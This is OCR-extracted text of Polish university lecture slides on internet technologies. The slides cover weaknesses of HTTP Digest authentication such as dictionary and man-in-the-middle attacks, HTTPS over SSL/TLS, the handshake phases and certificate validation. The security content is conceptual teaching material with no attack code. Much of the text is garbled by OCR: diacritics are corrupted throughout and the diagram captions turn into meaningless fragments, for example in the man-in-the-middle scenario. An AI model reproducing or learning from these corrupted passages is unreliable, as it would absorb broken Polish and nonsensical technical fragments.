- mimo ze hasto jest chronione, wcigz istnieje mozliwosc
jego odgadniecia

- atakujgcy moze wykorzystywac liste ,kandydatéw na
hasto” — stownik bgdz probowaé wygenerowac hasto na
podstawie innych danych, np. nazwy uzytkownika

- krytyczng wage ma nalezyty wyboér hasta

* Odpornos$¢ metody Digest na atak stownikowy jest
analogiczna jak innych metod uwierzytelniania,
w ktorych hasto odgrywa podstawowg role — im lepsze
hasto tym wieksza odpornosc

« Atak metodg ,man in the middle”

- atakujgcy umieszczony pomiedzy klientem a serwerem
moze przechwytywac i modyfikowaé czesé lub catosé
komunikaciji, np.

* klient, w reakcji na dziatania atakujgcego, moze uzy¢
uwierzytelniania metodg Basic zamiast metodg Digest
« atakujgcy moze modyfikowac zgdania klienta
« atakujgcy moze modyfikowac tre$¢ przesytanych
zasobow
e Przy uzyciu uwierzytelniania symetrycznego oraz

= auth-int metoda Digest jest odporna na podane

wyzej aspekty ataku ,man in the middle”, ale juz nie

np. na podstuchiwanie...

»,Man in the middle” - przyktad scenariusza

- Serwer

v

2adap,; et
Nig. TV
< GET/"”TP e GE b
/1.7 '1ada
720
Odp . orize
X uth
w 0ee: \’\?\i\\eﬂﬂ @
er Ba.. €4 \N-
. asjc WY
<3q,
Nja.
Authg, o GET
"zatio,. 7 HTTR
" Bagj, ‘/,1 ] N
Xm'cfpow( Lo
N . e95 <
72837 guion g:glss"“de
putty
res

Nazwa uzytkownika i hasto

HTTPS

,oezpieczna wersja” HTTP
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HTTPS = HTTP w SSL/TLS

HTTPS — szyfrowany HTTP

 HTTPS nie jest odrebnym protokotem — polega na
,zanurzeniu” protokotu HTTP w SSL/TLS

warstwa aplikacji

‘ HTTP

‘ SSL/TLS warstwa bezpieczenstwa
‘ TcP warstwa transportowa

‘ P warstwa sieciowa

|

Interfejsy sieciowe warstwa fizyczna

» Kiedy uzywamy potgczen HTTPS wszystkie zgdania
i odpowiedzi HTTP sg szyfrowane zanim zostang
wystane do sieci

« SSL/TLS wykorzystuje dwa sposoby szyfrowania

- szyfr asymetryczny (z kluczem publicznym) do
ustalenia parametréw bezpiecznej komunikaciji

- szyfr symetryczny do szyfrowania komunikacji po jej
nawigzaniu i ustaleniu oraz bezpiecznym przestaniu
wspolnego klucza

echnologie interne

echno e (nterne

HTTP / HTTPS

HTTP / HTTPS

SR

ey

Klient Klient

Serwer Serwer

Potaczenie TCP z portem 80 1. Potgczenie TCP z portem 443

w—0N

Klient Serwer

2. ,Uscisk dtoni” (handshake) protokotu SSL

I | v el

Klient Klient

Serwer Serwer

Zadanie HTTP przesytane przez TCP 3. Zadanie HTTP przesytane przez SSL/TLS

Odpowiedz HTTP przesytana przez TCP

T

Klient Serwer Klient Serwer

4. Odpowiedz HTTP przesytana przez SSL/TLS

e

Klient Serwer

5. Potwierdzenie zamknigcia sesji protokotu SSL
e I |
Klient Serwer Klient Serv\;er

Zamkniecie potaczenia TCP 6. Zamkniecie potaczenie TCP
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HTTPS — uproszczony ,uscisk dtoni” SSL

»Jednokierunkowy” uscisk dtoni SSL/TLS

SRR

Klient Serwer

1. Klient pyta o wybdér metody szyfrowania i zgda certyfikaciji
serwera U
-

Serwer

|

Klient

2. Serwer wysyta informacje o wyborze szyfru oraz certyfikat

. I

Klient Serwer

3. Klient wysyta ,sekret”, klient i serwer ustalajg ,klucze” do dalszej transmisji

e N

Klient Serwer

4. Klient i serwer ustalajg, ze dalsza transmisja bedzie juz szyfrowana

Client

known information

) generate random number | RN

Server

) server public key

’- server private key

known information

€ client_hello (crypto information, ( RN ) ) - ) >
- Phase 1
generate random number @ C
os server_hello (crypto information, (uudl )
server certificate
Phase 2
check server certificate (optional)
- @
generate random number pre-master-secret ()
@3 - -
send @ encrypted with server public key
G @@ ) phases
) calculate Master-Secret with m (
( s [E—t—
change to encrpted connection with (__wms. ) as key
end SSL
Phase 4

change to encrpted connection with(__ms as key

end SSL

echinologte tnternetowe protokot H
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HTTPS - uwierzytelnianie

SSL/TLS - certyfikaty

» Protokét SSL/TLS pozwala stosowaé uwierzytelnianie
symetryczne

- certyfikat serwera wedruje do klienta
- certyfikat klienta wedruje do serwera

- klient i serwer wymieniajg ,sekrety” zaszyfrowane
swoimi kluczami publicznymi, aby potwierdzi¢ swojg
tozsamos¢

« W praktyce, metoda ta jest rzadko wykorzystywana
- wiekszos¢ klientow nie posiada osobistych certyfikatow

- w wiekszosci przypadkéw zdecydowanie wazniejsza
jest ,tozsamosc¢ serwera” niz ,tozsamos$¢ klienta”

Wystawiony dla
Nazwa pospolita (CN)
Organizacja (0)

Numer seryjny

Wystawiony przez

Niniejszy certyfikat zostat zweryfikowany do wykorzystania przez:
Certyfikat SS5L serwera

secure,dd-wrt.com
NewMedia-NET GmbH

Jednostka organizacyjna (OU) DD-WRT
26:5D:E8:B8:25:CC:E2:E9:5C:65:6D:C3:DC:FT7:D9:78

Nazwa pospolita (CN)
Organizacja (0)

Jednestka organizacyjna (OU)
Waznosc

Wystawiony dnia

Wygasa dnia

Odciski

Odcisk SHA1

Odcisk MD5

Thawte Premium Server CA
Thawte Consulting cc
Certification Services Division

23.05.2008
01.06.2010

64:E7:71:09:66:DB:EF:5C:F9:85:FC:3F:4C:E4:C8:FB:EQ:97:4F:BE
E7:5F:CT:AD:2D:ET:19:F3:9E:F8:74:78:00:76:04:2B

Organ certyfikacji,
ktory ,podpisat’
certyfikat
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SSL/TLS - certyfikaty SSL/TLS — organy certyfikaciji

0gdlne | Szczegoty ‘

Hierarchia certyfikatu Twoje certyfikaty Ludzie Serwery| Organy certyfikacji ‘Pozostake

¥ Thawte Premium Server CA Posiadasz certyfikaty, ktore identyfikujg nastepujgce organy certyfikacji:
secure.dd-wrt.com
- Nazwa certyfikatu Urzadzenie zabezpieczajace i)
Pola certyfikatu \ P Staat der Nederlanden [l
= secure.dd-wrt.com I Starfield Technologies, Inc.
w Certyfikat 3 : [ StartCom Ltd.
Wersia C_ertyflkgt ma nieptaskg b Swisscom
Numer seryjny hierarchie, uznany organ b SwissSign AG
Algorytm sygnatury certyfikatu Cel'tyfi kaCji pOéWiadCZyjf l;;ggru;tcanter for Security in Data N...
Wystawca . . .
b Wasnoge swoim podpisem jego E;ﬁc intermet
Podmiot autentycznosc¢ b Thawte Consultin
\ I Informacje o kluczu publicznym \ b Thawte Consulting = H
b Rozszerzenia - [+ b thawte, Inc. 9
Wartosc pola > The Go Daddy Group, Inc.
. . . > The USERTRUST Network [~]
Certyfikat zawiera klucz publiczny serwera — E— - -
Wyswietl... | | Edytui... | | Importu],,,| ‘ Eksportuj... ‘ ‘ Usun...

Eksportuj...

echinologte tnternetowe protokot H echinologte tnternetowe protokot H

SSL/TLS — walidacja certyfikatu SSL/TLS — walidacja certyfikatu

» Protokét SSL/TLS nie wymaga walidacji certyfikatow
(jest ona opcjonalna), ale wiekszos¢ wspotczesnych
klientow sprawdza miedzy innymi:

§ & | Nie udato sie nawiazad bezpiecznego potaczenia

- daty (poczatkowg i ,waznosci”) certyfikatu V4

serwer.pl uzywa nieprawidlowego certyfikatu bezpieczenstwa.

- Czy Certyﬂkat Zostal’ podplsany pl’ZGZ ,,gOdny Zanar"a” Certyfikat nie jest zaufany, poniewaz jest on samopodpisany.
organ certyfikacji (CA — certificate authority) (Kod bigdu: sec_error_untrustad_lssuer)
- prawdziwo$¢ podpisu os$rodka certyfikacii " Podana e o o ser e nocmck oy 10 Proe
. . i = Jesli uzytkownik Ia;zyl sie wczeér}iej z tym serwerem, l?lad‘n:lo.z'; byc
_ Czy Zawarta W CertyflkaCIG nazwa domeny Od pOWIada tymczasowy - w tej sytuacji nalezy sprobowac ponownie pozniej.
nazwie domeny serwera (pewien problem dla serweréw B
wirtualnych)

« Jesli ktorykolwiek z testow sie nie powiedzie, klient
informuje o tym fakcie uzytkownika




